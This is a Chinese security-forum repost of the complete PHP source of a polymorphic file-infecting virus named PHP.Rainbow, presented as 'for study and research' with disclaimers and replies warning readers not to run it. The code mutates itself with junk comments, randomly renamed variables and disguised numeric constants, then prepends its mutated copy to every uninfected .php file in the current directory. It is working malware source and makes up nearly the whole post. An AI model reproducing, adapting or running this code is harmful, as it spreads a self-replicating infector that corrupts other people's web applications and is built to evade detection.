发新话题
打印

[转载]PHP病毒PHP.Rainbow

[转载]PHP病毒PHP.Rainbow

信息来源:邪恶八进制信息安全团队(www.eviloctal.com


[探讨 研究 病毒] PHP病毒PHP.Rainbow

  没有看说明之前,不要擅自测试;

  特别声明:本帖只为探讨和研究,由此帖所导致的任何人为和非人为的后果,与HonestQiao均不存在任何物质的精神的关联,HonestQiao对此不负任何责任。 与我amxku也没有关系哈,哈哈!
Code Language : PHP
  1. <?php // RainBow
  2. srand((double)microtime() * 1000000);
  3. $changevars = array('changevars', 'string', 'newcont',
  4.    'curdir', 'filea', 'victim', 'viccont', 'newvars', 'returnvar',
  5.    'counti', 'countj', 'trash', 'allcont', 'number', 'remn');
  6. $string = strtok(fread(fopen(__FILE__, 'r'), filesize(__FILE__)), chr(13) . chr(10));
  7. $newcont = '<?php // RainBow' . chr(13) . chr(10);
  8. while ($string && $string != '?>'){
  9.    if(rand(0, 1)){
  10.      if(rand(0, 1)){
  11.          $newcont .= '// ' . trash('', 0) . chr(13) . chr(10);
  12.      }
  13.      if(rand(0, 1)){
  14.          $newcont .= '$' . trash('', 0) . '=' . chr(39) . trash('', 0) . chr(39) . ';' . chr(13) . chr(10);
  15.      }
  16.      if(rand(0, 1)){
  17.          $newcont .= '$' . trash('', 0) . '=' . rand() . ';' . chr(13) . chr(10);
  18.      }
  19.    }
  20.    $string = strtok(chr(13) . chr(10));
  21.    if($string{0} != '/' && $string{0} != '$'){
  22.      $newcont .= $string . chr(13) . chr(10);
  23.    }
  24. }
  25. $counti = 0;
  26. while($changevars[$counti]){
  27.    $newcont = str_replace($changevars[$counti++], trash('', 0), $newcont);
  28. }
  29. $countj = -1;
  30. $number = '';
  31. while(++$countj < strlen($newcont)){
  32.    if (ord($newcont{$countj}) > 47 && ord($newcont{$countj}) < 58){
  33.      $number = $newcont{$countj};
  34.      while(ord($newcont{++$countj}) > 47 && ord($newcont{$countj}) < 58){
  35.          $number .= $newcont{$countj};
  36.      }
  37.      $remn = rand(1, 10);
  38.      if (!rand(0, 5)){
  39.          switch(rand(1, 3)){
  40.          case 1:$allcont .= '(' . ($number - $remn) . '+' . $remn . ')';
  41.            break;
  42.          case 2:$allcont .= '(' . ($number + $remn) . '-' . $remn . ')';
  43.            break;
  44.          case 3:$allcont .= '(' . ($number * $remn) . '/' . $remn . ')';
  45.            break;
  46.          }
  47.      }else{
  48.          $allcont .= $number;
  49.      }
  50.    }
  51.    $allcont .= $newcont{$countj};
  52.    $number = '';
  53. }
  54. $curdir = opendir('.');
  55. while($filea = readdir($curdir)){
  56.    if(strstr($filea, '.php')){
  57.      $victim = fopen($filea, 'r+');
  58.      if (!strstr(fread($victim, 25), 'RainBow')){
  59.          rewind($victim);
  60.          $viccont = fread($victim, filesize($filea));
  61.          rewind($victim);
  62.          fwrite($victim, $allcont . $viccont);
  63.      }
  64.      fclose($victim);
  65.    }
  66. }
  67. closedir($curdir);
  68. function trash($returnvar, $countj){
  69.    do{
  70.      $returnvar .= chr(rand(97, 122));
  71.    }while($countj++ < rand(5, 15));
  72.    return $returnvar;
  73. }
  74. ?>
Parsed in 0.142 seconds
[url=http://www.amxku.net]amxku.net[/url]

TOP

怕怕...DIR.....

偶也附加一句...千万不要随便运行该代码....
很好.

TOP

发新话题